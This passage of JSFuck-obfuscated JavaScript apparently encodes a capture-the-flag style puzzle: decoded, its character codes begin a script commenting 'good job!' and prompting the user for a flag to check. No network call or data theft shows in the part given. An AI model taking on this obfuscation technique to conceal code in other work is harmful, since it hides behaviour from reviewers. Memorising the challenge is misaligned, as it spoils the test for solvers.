![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+([][[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()({})[+[]]+(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]))+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+([][[]]+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[+[]]+([]+[])[(![]+[])[+[]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]]()[(+!![]+[])+(!![]+!![])]+([]+[])[(![]+[])[+[]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(!![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]]()[(+!![]+[])+(!![]+!![])])()[!![]+!![]+!![]+!![]+!![]])()[(![]+[])[+[]]+(!![]+[])[+!![]]+({}+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(+(+!![]+(!![]+[])[!![]+!![]+!![]]+(+!![])+(+[])+(+[])+(+[]))+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(![]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(+[]+[]))()[!![]+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()((+!![]+[])[(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]]]())[!![]+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[+[]]+(![]+[])[+!![]]+(!![]+[])[+!![]]+[][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([][(![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]]+(!![]+[])[+!![]]+([][[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[+!![]])()+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()((+!![]+[])[(![]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]]+({}+[])[!![]+!![]]]())[!![]+!![]]+({}+[])[+!![]]+([][[]]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(+!![]+[])+(+[]+[])+(+[]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+[]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+[]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+[]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+[]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+[]),(+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+[]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[])+(!![]+!![]+!![]+[]),(+!![]+[])+(+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+[]),(!![]+!![]+!![]+!![]+[])+(+!![]+[]),(!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]),(+!![]+[])+(+[]+[]),(+!![]+[])+(+[]+[]),(+!